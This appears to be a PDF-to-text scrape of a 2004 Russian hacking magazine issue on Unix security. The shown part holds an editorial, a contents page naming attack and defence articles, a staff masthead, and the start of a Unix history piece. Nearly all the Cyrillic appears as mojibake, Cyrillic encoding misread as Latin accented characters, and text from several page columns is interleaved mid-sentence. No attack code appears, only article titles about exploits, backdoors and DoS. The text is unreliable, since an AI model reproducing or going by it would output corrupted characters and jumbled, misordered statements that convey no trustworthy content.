Hacker Revista Unix by ps94506

VIEWS: 37 PAGES: 133

									Ä
       åñÿòü ëåò íàçàä *nix íå áûë øèðîêîðàñïðîñòðàíåííîé, íàðîäíîé ñèñòåìîé. Ñëîæíûå,
       ãðîìîçäêèå *nix'ñû èñïîëüçîâàëèñü òîëüêî â êà÷åñòâå ñåðâåðîâ, à ïîäõîäèòü ê íèì
       îñìåëèâàëñÿ ëèøü ãðàìîòíûé ñèñàäìèí. Ïî ñðàâíåíèþ ñ Windows (ãëþê íà ãëþêå â òî âðåìÿ),
UNIX îòëè÷àëñÿ ñâîåé ñòðîãîñòüþ, ôóíêöèîíàëüíîñòüþ è... íåïðèñòóïíîñòüþ. Òåïåðü âñå èçìåíèëîñü.
Àðõèòåêòóðà UNIX ñ îãðîìíîé ñêîðîñòüþ êëîíèðóåòñÿ, ðàçðàáîò÷èêè ñîçäàþò äëÿ ïîëüçîâàòåëåé
êðàñèâûå ãðàôè÷åñêèå îáîëî÷êè, óïðîùàþò ïðîöåññ óñòàíîâêè. Äåâèç ïîñëåäíèõ íåñêîëüêèõ ëåò:
"Äàåøü Linux íà äåêñòîïå!" ß âåðþ, ÷òî â êîíöå êîíöîâ öåëü áóäåò äîñòèãíóòà: â øêîëàõ, îôèñàõ è
ãîñó÷ðåæäåíèÿõ Linux ìîæåò íàäîëãî îáîñíîâàòüñÿ íà äåñêòîïàõ. ×òî áû íè ãîâîðèëà Mirosoft, íî open
source *nix-ñèñòåìû äåøåâëå è âûãîäíåå, ÷åì Windows.
 Âðîäå áû, âñå äîâîëüíû. Íî, êàê èçâåñòíî, ÷åì áîëüøå â ñèñòåìå ðþøå÷åê, òåì áîëüøå âïîñëåäñòâèè
îáíàðóæèâàåòñÿ â íåé áàãîâ è íåäîðàáîòîê. Ïîýòîìó user friendly-äèñòðèáóòèâû âñå ÷àùå ñòàíîâÿòñÿ
ìèøåíüþ äëÿ õàêåðñêèõ àòàê. Äà è ðîñò èíòåðåñà ê *nix-ñèñòåìàì äàåò î ñåáå çíàòü: bugtraq ïåñòðèò
íîâûìè Þíèêñ-óÿçâèìîñòÿìè êóäà ÿð÷å, ÷åì âèíäîâûìè.
 Â ýòîì íîìåðå ìû ïîñòàðàëèñü ðàçâåÿòü ìèô î íåïðèñòóïíîñòè *nix-ñèñòåì, ïî êðàéíåé ìåðå, â
ñåãîäíÿøíåì èõ âèäå. Íî íåñìîòðÿ íà îáèëèå ýêñïëîèòîâ, DoS'åðîâ, àâòîðóòåðîâ, ñêàíåðîâ è äðóãîãî
îáëåã÷àþùåãî ðàáîòó âçëîìùèêà ñîôòà, âñå íå òàê ïå÷àëüíî. Ãðàìîòíàÿ íàñòðîéêà ñèñòåìû â äåâÿòè
ñëó÷àÿõ èç äåñÿòè - çàëîã åå áåçîïàñíîñòè. Ïðè÷åì, ÷òîáû ïðàâèëüíî ñêîíôèãóðèðîâàòü *nix íå íóæíî
áûòü ñåìè ïÿäåé âî ëáó: äîñòàòî÷íî óñâîèòü îñíîâíûå ïðèíöèïû, êîòîðûå ìû ïîïûòàëèñü äîõîä÷èâî
èçëîæèòü â ðàçäåëå "Çàùèòà".

     A h
 AvaLANche
ÑÎÄÅÐÆÀÍÈÅ ¹ 10 (47)


     ÒÅÎÐÈß                                                                    ÂÇËÎÌ


4 Èñòîðèÿ UNIX
                                                                   22 Ñòåíêà âñìÿòêó
                                                                   Îáõîä áðàíäìàóýðîâ
Êàê ýòî áûëî...
8 Îòåö äåìîíà
è ïèíãâèíà
Îñîáåííîñòè àðõèòåêòóðû UNIX
12 ÎÑ äëÿ Êðåìëÿ
                                                                   ñíàðóæè è èçíóòðè
Èùåì ñàìóþ çàùèùåííóþ
ñèñòåìó




      ÂÇËÎÌ                            ÇÀÙÈÒÀ                                  ÒÅÎÐÈß


16 Àòàêà èíòåëëåêòà
Îáçîð óäàëåííûõ è ëîêàëüíûõ
                                   70 Áåçîïàñíîñòü
                                   ñåðâåðà                         4 Èñòîðèÿ UNIX
àòàê
22 Ñòåíêà âñìÿòêó
                                   Îñíîâíûå ìåòîäû çàùèòû
                                   *nix-ñèñòåì
                                   74 Âûæìè âñå
                                                                   Êàê ýòî áûëî...
Îáõîä áðàíäìàóýðîâ ñíàðóæè
è èçíóòðè                          èç ôàåðâîëà!
                                   Îñíîâíûå è äîïîëíèòåëüíûå
28 Ðûáíàÿ ëîâëÿ â                  âîçìîæíîñòè iptables
ëîêàëüíîé ñåòè                     80 Õèòðûé òþíèíã
Âñå àñïåêòû ñíèôèíãà ïîä *nix
                                   è ãðàìîòíàÿ çàùèòà
32 Xploits. How to?                Ïîëåçíûå ïðèåìû íàñòðîéêè
Ýêñïëîèòû ïîä *nix äëÿ             ñåðâåðà
íà÷èíàþùèõ
                                   84 Ëîãè äëÿ óìíûõ
36 Íåâèäèìîñòü â *nix              Ñèñòåìà log-ôàéëîâ äëÿ
Îáçîð stealth-ìåõàíèçìîâ           *nix-ñèñòåì
áýêäîðîâ
                                   86 IDS/SNORT
40 DoS/DDoS                        Ñèñòåìû îáíàðóæåíèÿ àòàê
Àòàêà ãðóáîé ñèëû
                                   88 Õàêåðû ëþáÿò ìåä
42 Îòûùè è âûïîëíè!                Ðàçáèðàåìñÿ â ðàáîòå Íîneypot
Óäàëåííîå âûïîëíåíèå êîìàíä
44 ßäðà - ÷èñòûé
èçóìðóä
«ßäåðíûå» ïðîáëåìû â *nix                                                      ÂÇËÎÌ
56 Linux -
«ïðèòîí» õàêåðîâ
Êîðîòêî î ãëàâíîì
50 Ñåðâèñíàÿ óãðîçà
                                                                   40 DoS/DDos
Àòàêè íà êîíêðåòíûå ñëóæáû                                         Àòàêà ãðóáîé ñèëû
54 Çàðàçà äëÿ íèêñîâ
Âèðóñíûé ðàçãóë ïîä UNIX
58 Îïàñíàÿ ïðàêòèêà
Ïðèìåðû ðåàëüíûõ âçëîìîâ
62 Îõîòà çà áàãàìè                                                                  SPECial delivery
Àâòîìàòèçèðîâàííûé ñáîð
óÿçâèìîñòåé                                                                         90 Áîåâîé ñîôò
64 Áàçà äàííûõ                                                                      Îáçîð õàêåðñêîãî ñîôòà äëÿ *nix
ïîä ïðèöåëîì                                                                        94 FAQ
Âçëîì ÁÄ                                                                            Ñïðàøèâàëè? Îòâå÷àåì!
68 Ñåòåâàÿ                                                                          96 Ãëîññàðèé
äàêòèëîñêîïèÿ                                                                       Îñíîâíûå ïîíÿòèÿ ïî âçëîìó
Òåõíîëîãèÿ remote fingerprinting                                                    *nix-ñèñòåì
                                                                                    98 WEB
                                                                                    Ïîëåçíûå ðåñóðñû èíòåðíåòà
                                                                                    102 Books
                                                                                    Îáçîð èíòåðåñíîé ëèòåðàòóðû
                                                Ðåäàêöèÿ



                                            »
                                                » ãëàâíûé ðåäàêòîð
                                                Íèêîëàé «AvaLANche» ×åðåïàíîâ
                                                (avalanche@real.xakep.ru)
                                                » âûïóñêàþùèå ðåäàêòîðû
                                                Àøîò Îãàíåñÿí
                                                (ashot@real.xakep.ru),
                                                Íèêîëàé «Gorlum» Àíäðååâ
                                                (gorlum@real.xakep.ru)
                                                » ðåäàêòîðû
                                                Àëåêñàíäð «Dr.Klouniz» Ëîçîâñêèé
                                                (alexander@real.xakep.ru),
                                                Àíäðåé Êàðîëèê
                                                (andrusha@real.xakep.ru)
                                                » ðåäàêòîð CD
                                                Èâàí «SkyWriter» Êàñàòåíêî
                                                (sky@real.xakep.ru)
                                                » ëèòåðàòóðíûé ðåäàêòîð
                                                Íàòàëèÿ Ðóáàí
                                                (natalia@real.xakep.ru)
                                                Art
                                                » àðò-äèðåêòîð
                                                Êèðèëë «KROt» Ïåòðîâ
                                                (kerel@real.xakep.ru)
ÎÔÔÒÎÏÈÊ                            ÂÇËÎÌ       Äèçàéí-ñòóäèÿ «100%ÊÏÄ»
                                                » ìåãà-äèçàéíåð
                                                Êîíñòàíòèí Îáóõîâ
CÎÔÒ
                           64 Áàçà äàííûõ
                                                » ãèïåð-âåðñòàëüùèê
                                                Àëåêñåé Àëåêñååâ
                                                » õóäîæíèêè
108 NoNaMe
Ñàìûé âêóñíûé ñîôò         ïîä ïðèöåëîì         Êîíñòàíòèí Êîìàðäèí
                                                Âèêòîð Ôîìåíêî (3D-ìîäåëü íà îáëîæêå)

HARD                       Âçëîì ÁÄ             Ðåêëàìà
                                                » äèðåêòîð ïî ðåêëàìå ÎÎÎ «Ãåéì Ëåíä»
                                                Èãîðü Ïèñêóíîâ (igor@gameland.ru)
                                                » ðóêîâîäèòåëü îòäåëà ðåêëàìû
110 Ñ ìóçûêîé                                   öèôðîâîé è èãðîâîé ãðóïïû
ïî æèçíè                                        Îëüãà Áàñîâà (olga@gameland.ru)
Òåñòèðóåì ñòåðåîíàóøíèêè                        » ìåíåäæåðû îòäåëà
                                                Àëåêñåé Ôèëèÿ (philiya@gameland.ru)
115 Óëüòðàêîìïàêòíûé                            Âèêòîðèÿ Êðûìîâà (vika@gameland.ru)
ôîòîàïïàðàò                                     Îëüãà Eìåëüÿíöåâà
Casio EX-Z40                                    (olgaeml@gameland.ru)
                                                » òðàôèê-ìåíåäæåð
116 Ïàÿëüíèê                                    Ìàðüÿ Àëåêñååâà
Ñî ñêîðîñòüþ ñâåòà                              (alekseeva@gameland.ru)
                                                òåë.: (095) 935.70.34
                                                ôàêñ: (095) 924.96.94
ÑREW                                            Ðàñïðîñòðàíåíèå
                                                » äèðåêòîð îòäåëà
120 E-ìûëî                                      äèñòðèáóöèè è ìàðêåòèíãà
Ïèøèòå ïèñüìà!                                  Âëàäèìèð Ñìèðíîâ
                                                (vladimir@gameland.ru)
                                                » îïòîâîå ðàñïðîñòðàíåíèå
STORY                                           Àíäðåé Ñòåïàíîâ
122 ÍÈ×ÅÃÎ ËÈ×ÍÎÃÎ                              (andrey@gameland.ru)
                                                » ðåãèîíàëüíîå ðîçíè÷íîå
                                                ðàñïðîñòðàíåíèå
                                                Àíäðåé Íàñåäêèí
                                                (nasedkin@gameland.ru)
                             ÍÀRD               » ïîäïèñêà
                                                Àëåêñåé Ïîïîâ
                                                (popov@gameland.ru)

110 Ñ ìóçûêîé ïî æèçíè                          » PR-ìåíåäæåð
                                                ßíà Àãàðóíîâà


Òåñòèðóåì ñòåðåîíàóøíèêè
                                                (yana@gameland.ru)
                                                òåë.: (095) 935.70.34
                                                ôàêñ: (095) 924.96.94

                                                PUBLISHING
                                                » èçäàòåëü
                                                Ñåðãåé Ïîêðîâñêèé
                                                (pokrovsky@gameland.ru)
                                                » ó÷ðåäèòåëü
                                                ÎÎÎ «Ãåéì Ëýíä»
                                                » äèðåêòîð
                                                Äìèòðèé Àãàðóíîâ
                                                (dmitri@gameland.ru)
                                                » ôèíàíñîâûé äèðåêòîð
                                                Áîðèñ Ñêâîðöîâ
                                                (boris@gameland.ru)

                                                Äëÿ ïèñåì
                                                101000, Ìîñêâà,
                                                Ãëàâïî÷òàìò, à/ÿ 652, Õàêåð Ñïåö
                                                Web-Site
                                                http://www.xakep.ru
                                                E-mail
                                                spec@real.xakep.ru
                                                Ìíåíèå ðåäàêöèè íå âñåãäà ñîâïàäàåò
                                                ñ ìíåíèåì àâòîðîâ. Âñå ìàòåðèàëû
                                                ýòîãî íîìåðà ïðåäñòàâëÿþò ñîáîé ëèøü
                                                èíôîðìàöèþ ê ðàçìûøëåíèþ. Ðåäàêöèÿ íå
                                                íåñåò îòâåòñòâåííîñòè çà íåçàêîííûå
                                                äåéñòâèÿ, ñîâåðøåííûå ñ åå èñïîëüçîâàíèåì,
                                                è âîçìîæíûé ïðè÷èíåííûé óùåðá.
                                                Çà ïåðåïå÷àòêó íàøèõ ìàòåðèàëîâ
                                                áåç ñïðîñà - ïðåñëåäóåì.
                                                Îòïå÷àòàíî â òèïîãðàôèè «ScanWeb»,
                                                Ôèíëÿíäèÿ
                                                Çàðåãèñòðèðîâàíî â Ìèíèñòåðñòâå
                                                Ðîññèéñêîé Ôåäåðàöèè
                                                ïî äåëàì ïå÷àòè, òåëåðàäèîâåùàíèþ
                                                è ñðåäñòâàì ìàññîâûõ êîììóíèêàöèé
                                                ÏÈ ¹ 77-12014 îò 4 ìàðòà 2002 ã.
                                                Òèðàæ 42 000 ýêçåìïëÿðîâ.
                                                Öåíà äîãîâîðíàÿ.
                                  4      ÒÅÎÐÈß          ÈÑÒÎÐÈß UNIX

                                  Roman aka Docent (d0cent@rambler.ru)

Content:
4 Èñòîðèÿ UNIX
Êàê ýòî áûëî...
8 Îòåö äåìîíà è ïèíãâèíà          ÈÑÒÎÐÈß
                                  UNIX
Îñîáåííîñòè àðõèòåêòóðû UNIX
12 ÎÑ äëÿ Êðåìëÿ
Èùåì ñàìóþ çàùèùåííóþ ñèñòåìó




                                  ÊÀÊ ÝÒÎ ÁÛËÎ...
                                      ñòîðèÿ *nix-ñèñòåì íàñ÷èòûâàåò         ëåò.                  íåáîëüøîå
                                  È ïóòåøåñòâèå âî âðåìåíè ê ñàìûìáîëåå 30 ýòîé Äàâàé ñîâåðøèì êîãäà
                                                                     èñòîêàì      îñè, â òî âðåìÿ,
                                  êîìïû áûëè áîëüøèå, à ñîáñòâåííóþ ÎÑ íå ïèñàë ðàçâå ÷òî ëåíèâûé
                                  ïðîãðàììåð...


                                                ÍÀ×ÀËÎ ÍÀ×ÀË: ÎÒ              òåìå, êîòîðûå áûëè èñïîëüçîâàíû â äàëü-


                                  »             BESYS ÄÎ MULTICS
                                                   UNIX áûë ðàçðàáîòàí àìå-
                                               ðèêàíñêîé ëàáîðàòîðèåé Bell
                                               Labs, âõîäèâøåé â ñîñòàâ
                                êîíòîðû Bell Systems. Èñòîðèÿ ýòîé êîìïà-
                                                                              íåéøèõ ðàçðàáîòêàõ.

                                                                              Ê ×ÅÌÓ ÏÐÈÂÎÄÈÒ ÃÅÉÌÅÐÑÒÂÎ,
                                                                              ÈËÈ ÍÀ×ÀËÎ «ÝÐÛ UNIX»
                                                                                   Ïîñëå çàêðûòèÿ ïðîåêòà ñîòðóäíèêè Bell
                                íèè â îáëàñòè èíôîðìàöèîííûõ òåõíîëîãèé       Labs íà íåêîòîðîå âðåìÿ ïåðåñåëè íà ñîç-
                                íà÷àëàñü â 1957 ãîäó, êîãäà åå ñîòðóäíèêàì    äàííóþ êîìïàíèåé General Electrics ñèñòåìó
                                ïîòðåáîâàëàñü îïåðàöèîííàÿ ñèñòåìà äëÿ        GECOS. Óçêèå âîçìîæíîñòè ýòîé ñèñòåìû íè-
                                ñîáñòâåííîãî âû÷èñëèòåëüíîãî öåíòðà, â        êîãî èç ðàáîòíèêîâ ëàáîðàòîðèè íå óñòðàè-
                                êîòîðîì èñïîëüçîâàëàñü ÝÂÌ âòîðîãî ïîêî-      âàëè. È â ýòî âðåìÿ, êàê ãëàñèò ëåãåíäà ñîç-
                                ëåíèÿ. Îò òàêîé ñèñòåìû òðåáîâàëîñü àâòî-     äàíèÿ UNIX, îäèí èç ðàçðàáîò÷èêîâ, ïðèíè-
                                ìàòèçèðîâàòü çàïóñê íåêîòîðûõ ïðîãðàìì è      ìàâøèõ àêòèâíîå ó÷àñòèå â ïðîåêòå Multics,
                                óïðàâëåíèå âû÷èñëèòåëüíûìè ðåñóðñàìè.         Êåííåò Òîìïñîí, ñîçäàë ïðîñòåíüêóþ ïî òåì
                                Íîâîèñïå÷åííóþ ñèñòåìó íàçâàëè BESYS.         âðåìåíàì èãðóøêó – Space Travel, êîòîðàÿ, ê
                                Ðàçóìååòñÿ, îíà áûëà ñîâåðøåííî íå ïîõî-      ñîæàëåíèþ, íå ìîãëà íîðìàëüíî ðàáîòàòü íà
                                æà íà ñîâðåìåííûå îïåðàöèîííûå ñèñòåìû,       òåõ ìàøèíàõ, ÷òî èìåëèñü â ëàáîðàòîðèè.
                                è ïðèìåíÿòü åå ìîãëè ðàçâå ÷òî ñàìè ðàçðà-    Êîìïüþòåðû âåäü ïðèìåíÿëèñü ëèøü äëÿ íà-
                                áîò÷èêè äëÿ ñîáñòâåííûõ öåëåé. À â òå âðå-    ó÷íûõ çàäà÷, è íèêòî íå äóìàë òîãäà îá èõ èñ-
                                ìåíà áîëüøå íè÷åãî è íå òðåáîâàëîñü –         ïîëüçîâàíèè â êà÷åñòâå èãðîâûõ àâòîìàòîâ.
                                êîìïüþòåðîâ áûëî ìàëî, è ðàáîòàëè ñ íèìè      Ïî îôèöèàëüíîé âåðñèè, Òîìïñîí è åãî êîë-
                                ëèøü ïðîãðàììèñòû è ó÷åíûå, à óæ î íåîá-      ëåãà Äåíèñ Ðèò÷è íàïèñàëè íà÷àëüñòâó çàÿâ-
                                õîäèìîñòè êîìïüþòåðà äîìà èëè â îôèñå         êó íà ïðèîáðåòåíèå áîëåå ìîùíîé ìàøèíû
                                íèêòî íå çàäóìûâàëñÿ. Â 1964 ãîäó êîíòîðà     äëÿ ðàçðàáîòêè íîâîé îïåðàöèîííîé ñèñòå-
                                ïðèîáðåëà áîëåå ìîùíóþ ìàøèíó òðåòüåãî        ìû. Åñëè âåðèòü ëåãåíäå, èì âñåãî ëèøü õî-
                                ïîêîëåíèÿ, è òóò æå âîçíèê âîïðîñ î íîâîé     òåëîñü íîðìàëüíî ïîèãðàòü â ñâîå òâîðåíèå
                                îñè, òàê êàê ñòàðàÿ ãîäèëàñü ëèøü äëÿ òîé     :). Çàÿâêó, ðàçóìååòñÿ, îòêëîíèëè, è ïðèø-
                                ìàøèíû, äëÿ êîòîðîé åå äåëàëè. Íèêàêèõ        ëîñü íîâîÿâëåííûì ãåéìåðàì äîâîëüñòâî-
                                îáùèõ ñòàíäàðòîâ ñîâìåñòèìîñòè òîãäà íå       âàòüñÿ íåáîëüøèì (ïî òîãäàøíèì ìåðêàì)
                                ñóùåñòâîâàëî. Äëÿ ó÷àñòèÿ â ðàçðàáîòêå        êîìïüþòåðîì PDP-7, õîòÿ îí âïîëíå ïîäõî-
                                îïåðàöèîííîé ñèñòåìû áûëè ïðèãëàøåíû          äèë ïî îáúåìó îïåðàòèâíîé ïàìÿòè, äà ê òî-
                                ñïåöèàëèñòû èç Ìàññà÷óñåòñêîãî èíñòèòóòà      ìó æå îáëàäàë ãðàôè÷åñêèì äèñïëååì. Òóò-
                                è êîðïîðàöèè General Electric. È çàêèïåëà     òî è ïðèøëà èì â ãîëîâû ìûñëü èñïîëüçî-
                                ðàáîòà íàä íîâîé îñüþ, íàçâàííîé âïîñëåä-     âàòü ýòó ìàøèíó äëÿ íàïèñàíèÿ ñîáñòâåííîé
                                ñòâèè Multics (Multiplexed Information and    óíèâåðñàëüíîé îïåðàöèîíêè (à ìîæåò, ÷òîáû
                  ÐÈß




                                Computing System), – ìíîãîçàäà÷íîé, ìíîãî-    ïðîñòî îïðàâäàòüñÿ ïåðåä íà÷àëüñòâîì â
                                ïîëüçîâàòåëüñêîé ÎÑ ñ ðàçäåëåíèåì âðå-        ïîòðåáíîñòè áîëåå ìîùíîé ìàøèíû :)). Òîìï-
                                ìåíè è ïîëüçîâàòåëüñêèì èíòåðôåéñîì. Ñ        ñîí ðåøèë âîïëîòèòü â íåâèäàííîé äîñåëå
                                ïîìîùüþ íåå íåñêîëüêî ïîëüçîâàòåëåé îä-       îïåðàöèîíêå âñå ñàìûå óäà÷íûå èäåè, êîòî-
                                íîâðåìåííî ìîãëè ïîëó÷àòü äîñòóï ê âû-        ðûå ïîÿâèëèñü ïðè ðàçðàáîòêå Multics, à
                                ÷èñëèòåëüíûì ðåñóðñàì. Ïðè ñîçäàíèè áû-       èìåííî: èåðàðõè÷åñêàÿ äðåâîâèäíàÿ ñòðóêòó-
                                ëè èñïîëüçîâàíû íàðàáîòêè Ìàññà÷óñåòñêî-      ðà ôàéëîâîé ñèñòåìû, êîíöåïöèè ôàéëà è
       ÒÅÎ




                                ãî èíñòèòóòà, ðåàëèçîâàííûå ðàíåå â äðó-      ïðîöåññà, êîìàíäíûé èíòåðïðåòàòîð äëÿ
                                ãîé ýêñïåðèìåíòàëüíîé îñè – CTSS. Â èòî-      ïîëüçîâàòåëÿ, ìíîãîïîëüçîâàòåëüñêèé ðå-
                                ãå, ïîëó÷èëàñü äîñòàòî÷íî ñëîæíàÿ â èñ-       æèì ðàáîòû (ìîãëè ðàáîòàòü äâà ïîëüçîâàòå-
                                ïîëüçîâàíèè, ãðîìîçäêàÿ è äîðîãàÿ îïåðà-      ëÿ îäíîâðåìåííî) è ìíîãî ÷åãî åùå. Ðàáîòà
                                öèîíêà, â êîòîðîé, ê òîìó æå, ñóùåñòâîâàë     øëà òàêèì îáðàçîì: íà èìåâøåìñÿ äî ýòîãî
                                ðÿä îøèáîê, ñâÿçàííûõ, â îñíîâíîì, ñ íåó-     êîìïüþòåðå General Electric 635 ïèñàëè àññå-
                                äà÷íî âûáðàííûì ÿçûêîì ïðîãðàììèðîâà-         ìáëåðíûé êîä è ïîòîì ñ ïîìîùüþ ïåðôî-
                                íèÿ PL/I. Êðîìå ýòîãî, ñðåäè ðàçðàáîò÷è-      ëåíòû ïåðåíîñèëè íà PDP-7, íà êîòîðîé âïîñ-
                                êîâ âîçíèêëè íåêîòîðûå îðãàíèçàöèîííûå        ëåäñòâèè îòëàæèâàëè. Òàê áûëî ïîëó÷åíî
                                ðàçíîãëàñèÿ. Êîðî÷å ãîâîðÿ, ïðîåêò çàã-       ïðîñòåíüêîå ÿäðî áóäóùåé ñèñòåìû, òåêñòî-
                                íóëñÿ. Íî îñòàâèë ïîñëå ñåáÿ ðàçëè÷íûå        âûé ðåäàêòîð, íåñêîëüêî óòèëèò è ñîáñòâåí-
                                èäåè, â ÷àñòíîñòè, èäåè ïî ôàéëîâîé ñèñ-      íûé Àññåìáëåð. Ïðè ýòîì îñè òðåáîâàëîñü

                                 ÕÀÊÅÐÑÏÅÖ   10(47)   2004
                                                                                                                5



  ÎÑÍÎÂÍÛÅ ÄÀÒÛ UNIX-ÌÈÐÀ




                                                                                                                                         ÍÅÏÐÈÑÒÓÏÍÛÉ *NIX
  1957 – ïåðâàÿ îïåðàöèîííàÿ ñèñòåìà äëÿ ñîáñòâåííîãî âû÷èñëè-
  òåëüíîãî öåíòðà Bell Labs – BESYS.
  1960 – ïåðâûå âåðñèè DOS îò IBM, à òàêæå ñèñòåìû GECOS è CTSS.
  1965 – ðàçðàáîòêà îïåðàöèîííîé ñèñòåìû Multics êîìïàíèÿìè Bell
  Labs è General Electric.
  1969 – ïîÿâëåíèå UNICS (ïîçäíåå - UNIX).
  1970 – îôèöèàëüíîå íà÷àëî «ýðû UNIX», ïîÿâëåíèå îòå÷åñòâåííûõ
  îñåé – ÈÏÌ è Äóáíà.
  1971 – ïîÿâëåíèå îòå÷åñòâåííîãî àíàëîãà DOS – ÄÎÑ ÅÑ, âûïóñê
  âòîðîé ðåäàêöèè UNIX, ïåðåïèñàííîé ñ Àññåìáëåðà íà B.
  1972 – òðåòüÿ ðåäàêöèÿ UNIX, ïîÿâëåíèå ÿçûêà Ñ, ïîÿâëåíèå VM
  (VM/370).
  1973 – ÷åòâåðòàÿ ðåäàêöèÿ UNIX, ïîëíîñòüþ ïåðåïèñàííàÿ íà Ñ.                  Êåí Òîìïñîí
  1974 – ïÿòàÿ ðåäàêöèÿ UNIX, áåñïëàòíîå ðàñïðîñòðàíåíèå èñõîäíè-
  êîâ è òî ñàìîå âðåìÿ, êîãäà UNIX ïîøåë â ìàññû.
  1975 – øåñòàÿ ðåäàêöèÿ UNIX (UNIX V6), íà÷àëî êîììåð÷åñêîãî
  ðàñïðîñòðàíåíèÿ.
  1976 – ïîÿâëåíèå BSD.
  1977 – UNIX V/32, ïîÿâëåíèå òðåòüåé ðåäàêöèè BSD, â îñíîâó êîòî-
  ðîé ëåã UNIX V/32.
  1978 – î÷åðåäíàÿ îòå÷åñòâåííàÿ îïåðàöèîíêà – ÂÊ 1010.
  1980 – íà÷àëî áåñïëàòíîãî ðàñïðîñòðàíåíèÿ BSD (ïîçäíåå -
  FreeBSD), ïîÿâëåíèå îïåðàöèîíêè QDOS.
  1981 – ïîÿâëåíèå ïåðâîé âåðñèè PC-DOS.
  1982 – ïîÿâëåíèå SunOS (ïîçäíåå - Solaris), âûõîä UNIX System III,
  ïîÿâëåíèå MS-DOS, ïîÿâëåíèå îòå÷åñòâåííîé îïåðàöèîíêè - ÑÂÌ.
  1983 – ïîÿâëåíèå SuperDOS, à ïîçäíåé, îïåðàöèîííîé ñèñòåìû
  Novell NetWare.
  1984 – âûïóñê âòîðîãî ðåëèçà UNIX System V, ïîÿâëåíèå Xenix, ïî-
  ÿâëåíèå MacOS.                                                                Äåíèñ Ðèò÷è

  1985 – ïîÿâëåíèå MS Windows 1.0.
                                                                               çîøëî ýòî â 1969 ãîäó, à îôèöèàëü-
  1986 – ïîÿâëåíèå îïåðàöèîíêè Apple Desctop (ïî íåêîòîðûì âîç-
                                                                               íîé äàòîé ðîæäåíèÿ UNIX è íà÷àëîì
  ìîæíîñòÿì ñðàâíèìà ñ Windows 95!).                                           òàê íàçûâàåìîé «ýðû UNIX» ñòàëî
  1987 – òðåòèé ðåëèç UNIX System V, âûõîä OS/2, âûõîä MS Windows              1 ÿíâàðÿ 1970 ãîäà.                        Îò Multics
                                                                                                                          UNIX óíàñ-
  2.0, ïîÿâëåíèå îòå÷åñòâåííîé îñè ñ ãðàôè÷åñêèì èíòåðôåéñîì –                    1971 ãîäó ëàáîðàòîðèè Bell Labs        ëåäîâàë
  ÃÐÈÑ, ïîÿâëåíèå ïðîñòîé UNIX-ïîäîáíîé îñè Minix êàê ó÷åáíîãî                 ïîòðåáîâàëàñü ñèñòåìà îáðàáîòêè            èåðàðõè÷åñ-
                                                                                                                          êóþ äðåâî-
                                                                               òåêñòîâ, è â êà÷åñòâå ïëàòôîðìû äëÿ
  ïîñîáèÿ ñ îòêðûòûì êîäîì.                                                                                               âèäíóþ
                                                                               íåå áûë âûáðàí ïîëþáèâøèéñÿ âñåé           ñòðóêòóðó
  1988 – ïîÿâëåíèå GeOS (êëîí MacOS, è ïðåäîê BeOS!).                          êîíòîðå UNIX. Äà è ê òîìó âðåìåíè          ôàéëîâîé
                                                                                                                          ñèñòåìû,
  1990 – ïîÿâëåíèå Windows 3.0.                                                óäàëîñü ðàçæèòüñÿ áîëåå ìîùíîé             êîíöåïöèþ
  1991 – âûïóñê ïåðâîé îôèöèàëüíîé âåðñèè Linux.                               ìàøèíîé – PDP-11. Â ýòî âðåìÿ Òîìï-        ôàéëà è
                                                                                                                          ïðîöåññà,
  1993 – ïîÿâëåíèå 32-ðàçðÿäíîé OS/2 (2.1), ïîÿâëåíèå î÷åðåäíîãî               ñîí ðàáîòàë íàä êîìïèëÿòîðîì ÿçûêà         êîìàíäíûé
                                                                               Fortran, íî òî, ÷òî â èòîãå ó íåãî ïîëó-   èíòåðïðåòà-
  êëîíà MacOS – îñè GsOS.                                                                                                 òîð äëÿ
                                                                               ÷èëîñü, áûëî íàçâàíî ÿçûêîì B, êî-         ïîëüçîâàòå-
  1994 – ïîÿâëåíèå OS/2 Warp 3.                                                òîðûé íåìíîãî ïîçäíåå ïðåâðàòèëñÿ          ëÿ, ìíîãî-
  1995 – ïîÿâëåíèå MS Windows 95 è NT 4.0.                                     âî âñåì íàì õîðîøî èçâåñòíûé C. Â          ïîëüçîâà-
                                                                                                                          òåëüñêèé
  1996 – ïîÿâëåíèå BeOS.                                                       1973 ãîäó UNIX áûë ïåðåïèñàí íà            ðåæèì ðàáî-
  1998 – âûõîä MS Windows 98.                                                  ÿçûê C, ÷òî ñäåëàëî ñèñòåìó ïîë-           òû…
                                                                               íîñòüþ ïåðåíîñèìîé. À â 1974 èñõîä-
  2000 – âûõîä MS Windows 2000.
                                                                               íèêè UNIX ñòàëè ðàñïðîñòðàíÿòüñÿ â
  2001 – âûõîä ïåðâîãî îòå÷åñòâåííîãî äèñòðèáóòèâà Linux – ALT-                óíèâåðñèòåòàõ çà ñèìâîëè÷åñêóþ
  Linux, âûõîä MS Windows XP.                                                  ïëàòó, ÷òî îáåñïå÷èëî äàëüíåéøóþ
                                                                               ïîïóëÿðíîñòü ýòîé îñè, à òàêæå íà÷à-       Íîâûå ðå-
                                                                                                                          äàêöèè
                                                                               ëî âîâëåêàòü â ðàçðàáîòêó âñå íîâûõ        UNIX ðîæ-
âñåãî 12 êèëîáàéò îïåðàòèâíîé ïàìÿ-   Information and Computing System). È     è íîâûõ ðàçðàáîò÷èêîâ. Íåáîëüøàÿ           äàëèñü
                                                                                                                          î÷åíü ÷àñ-
òè (ñòîëüêî âåñèëî ÿäðî ñèñòåìû), 8   íåìíîãî ïîçäíåå áûëî ñîêðàùåíî äî        öåíà, ïîíÿòíûé è äîñòóïíûé äëÿ èçó-        òî. Âñåãî çà
êèëîáàéò çàíèìàëè ïðîãðàììû è óòè-    ïðèâû÷íîãî íàì UNIX (êàêîìó ïðîã-        ÷åíèÿ êîä íà C, ãèáêîñòü è ïåðåíîñè-       ïåðèîä ñ
ëèòû, à ìàêñèìàëüíî äîïóñòèìûé ðàç-   ðàììèñòó çàõî÷åòñÿ ïèñàòü ëèøíþþ         ìîñòü, âîçìîæíîñòü íàñòðîèòü îñü           1971 ãîäà ïî
                                                                                                                          1979 ãîä
ìåð ôàéëà ñîñòàâëÿë 64 êèëîáàéòà.     áóêâó â ñëîâå :)). Âîò òàê, ñîçâó÷íî ñ   ïîä ëþáóþ êîíôèãóðàöèþ ñäåëàëè             ïîÿâèëîñü
Ïîñëå ýòîãî ìîæíî áûëî ïîëíîñòüþ      áåçâðåìåííî ñãèíóâøåé Multics, Êåí è     åå ïðèâëåêàòåëüíîé äëÿ áîëüøîãî            11 ðåäàêöèé!
